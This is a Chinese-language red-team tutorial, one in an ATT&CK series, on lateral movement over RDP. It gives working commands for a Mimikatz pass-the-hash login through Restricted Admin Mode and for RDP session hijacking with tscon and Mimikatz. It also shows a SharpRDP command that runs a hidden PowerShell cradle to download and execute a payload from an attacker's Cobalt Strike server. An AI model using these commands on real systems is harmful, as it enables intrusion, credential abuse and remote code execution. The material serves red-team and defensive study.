一.前言
横向移动是网络攻击中的一个阶段,攻击者在获得对网络中某一系统的访问权限后,尝试访问其他系统以拓展其控制范围。利用RDP(远程桌面协议)进行横向渗透是一种常见的方法,主要因为RDP(远程桌面协议)是微软开发的一种协议,它允许用户通过网络连接到另一台电脑。这种连接允许远程用户在其本地计算机上看到并控制另一台电脑的桌面界面。这在远程工作、IT支持和远程系统管理中非常有用,本篇文章主要针对了RDP(远程桌面协议)在横向移动中的进行了介绍。
二.前文推荐
ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解
ATT&CK视角下的红蓝对抗:二. 内网探测协议出网
ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
ATT&CK视角下的红蓝对抗:五. 内网穿透之利用HTTP协议进行隧道穿透
ATT&CK视角下的红蓝对抗:六.内网穿透之利用FRP进行隧道穿透
ATT&CK视角下的红蓝对抗:七.内网穿透之利用Venom进行隧道穿透
ATT&CK视角下的红蓝对抗:八.内网穿透之利用Termite进行隧道穿透
ATT&CK视角下的红蓝对抗:九.内网穿透之利用GRE协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十.内网穿透之利用DNS协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十一.内网穿透之利用SSH协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十二.内网穿透之Windows文件传输技术详解
ATT&CK视角下的红蓝对抗:十三.内网穿透之Linux文件传输技巧详解
ATT&CK视角下的红蓝对抗:十四.内网穿透之反弹流量分析与检测方法
ATT&CK视角下的红蓝对抗:十五.内网穿透之利用ICMP协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十六.横向移动之利用Windows计划任务进行横向移动
ATT&CK视角下的红蓝对抗:十七.横向移动之利用远程服务进行横向渗透
ATT&CK视角下的红蓝对抗:十八.横向移动之利用WinRM进行横向渗透
ATT&CK视角下的红蓝对抗:十九.横向移动之利用PTH(哈希传递)进行横向渗透
ATT&CK视角下的红蓝对抗:二十.横向移动之利用PTT(票据传递)进行横向渗透
ATT&CK视角下的红蓝对抗:二十一.横向移动之利用Psexec进行横向渗透
ATT&CK视角下的红蓝对抗:二十二.横向移动之利用RDP进行横向渗透
三.利用RDP进行横向渗透
1.针对RDP的PTH攻击
在介绍针对RDP的PTH之前我们需要了解一个安全措施——Restricted Admin Mode(受限管理模式)。该模式是Windows中的一个功能,当用户登录到一台已知被控主机时,它可以保护密码不会被保存在被控主机的内存中,但是更改了远程桌面协议,使用的是网络登录而不是交互式登录,从而导致用户可以使用NTLM哈希或者Kerberos票据进行身份验证。但是该模式仅仅存在于Windows Server 2012 R2以及Windows 8.1以上版本的操作系统中,如果你的操作系统不符合要求,则需要安装相应的补丁。
要注意一点,Restricted Admin Mode是建立在kerberos基础上的,也就是说只有在域环境中才能进行利用它。
1)通过修改注册表来开启Restricted Admin Mode,使用命令REG ADD HKLMSystemCurrentControlSetControlLsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f"。开启完成后查看是否开启成功 执行命令 "REG query "HKLMSystemCurrentControlSetControlLsa" | findstr "DisableRestrictedAdmin",若DisableRestrictedAdmin值为0则代表开启成功,执行结果如图1-1所示。
2)已知目标Hash值为a29f7623fd11550def0192de9246f46b,在Mimikatz中执行如下命令。
代码语言:javascript复制privilege::debug
sekurlsa::pth /user:Administrator /domain:test.com /ntlm:a29f7623fd11550def0192de9246f46b /run:"mstsc.exe /restrictedadmin"
3)命令执行结果如图1-2所示,可以看到成功打开一个mstsc进程。点击“下一步”,然后直接连接,如图1-3所示,可以看到登录后的用户依然是我们伪造的用户。
2.RDP会话劫持
Windows允许多个用户登录一台主机。在任务管理器中的用户窗口,我们可以查看到当前主机有多少用户登录。我们如果想要切换到另外一个会话,则可以在想要连接的目标会话上右击“连接”,如图1-4所示,点击后会弹出一个凭据窗口要求输入凭据。或者,我们在命令提示符中使用tscon来连接,命令执行结果如图1-5所示。2017年安全研究员Alexander Korznikov发现,在System权限下通过tscon可以在不输入用户凭据的前提下切换用户会话。
使用命令quser查询当前Windows主机内存在的用户会话,执行结果如图1-6所示。
在这里指定apple为当前使用的用户,指定test1为需要劫持的用户,使用命令sc create rdphj binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#1"来创建一个服务。创建之前需要确保apple用户为管理员用户,且不被UAC所限。执行结果如图1-7所示。
使用命令net start rdphj来运行刚刚创建的服务,运行成功后可以看到弹出一个新的窗口,执行whoami发现切换成功,执行结果如图1-8所示。
如果当前用户已经是管理员权限并且不被UAC限制,则可以通过伪造Token的方式去获取System权限,并使用tscon切换会话,执行结果如图1-9所示,运行tscon命令后将会切换至tscon用户的RDP远程界面。
Mimikatz同样支持RDP会话劫持。首先使用命令privilege::debug获取debug权限,然后执行ts::sessions命令列出当前Windows上的用户会话,如图1-10所示。
在Mimikatz中运行命令token::elevate来提权至System,提权成功后使用命令ts::remote /id:2来劫持会话ID为2的会话,在这里test1用户的会话ID为2,劫持后将会弹出会话ID为2的桌面,最后结果如图1-11所示,可以看出成功切换用户至test1。
3.使用SharpRDP进行横向渗透
SharpRDP是一款可以不借助远程桌面GUI的情况下,通过RDP协议进行命令执行的程序。它主要通过使用mstscax.dll来进行操作的。当我们使用SharpRDP连接目标主机之后,SharpRDP会使用SendKeys的方法将虚拟击键发送到远程系统中,在默认情况下会打开运行窗口,然后打开powerhsell或者CMD运行我们输入的命令。所有的命令都会在RDP协议中进行通信,无须打开GUI客户端。我们需要使用Cobal Strike来帮助我们进行目标上线工作,开启一个Web服务器并放置一个能够回连攻击机的Powershell脚本,设置方式如图1-12、图1-13所示。
点击launch之后会生成命令,使用SharpRDP执行该命令
代码语言:javascript复制powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:80/a'))"。
使用命令执行结果如图1-14所示。而从图1-15中可以看出,目标已经成功执行指定的Powershell脚本。
代码语言:javascript复制SharpRDP.exe computername=192.168.1.2 command="powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:80/a'))"" username=Administrator password=Password@123
四.本篇总结
本文介绍了利用RDP进行横向渗透的三种方法。首先,通过修改注册表开启Restricted Admin Mode,使用Mimikatz进行PTH攻击,成功获取目标权限。其次,通过Windows允许多个用户登录的特性,使用tscon命令或Mimikatz进行会话劫持,切换至其他用户会话。最后,使用SharpRDP在不借助远程桌面GUI的情况下,通过RDP协议进行命令执行,结合Cobal Strike实现目标上线。
我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!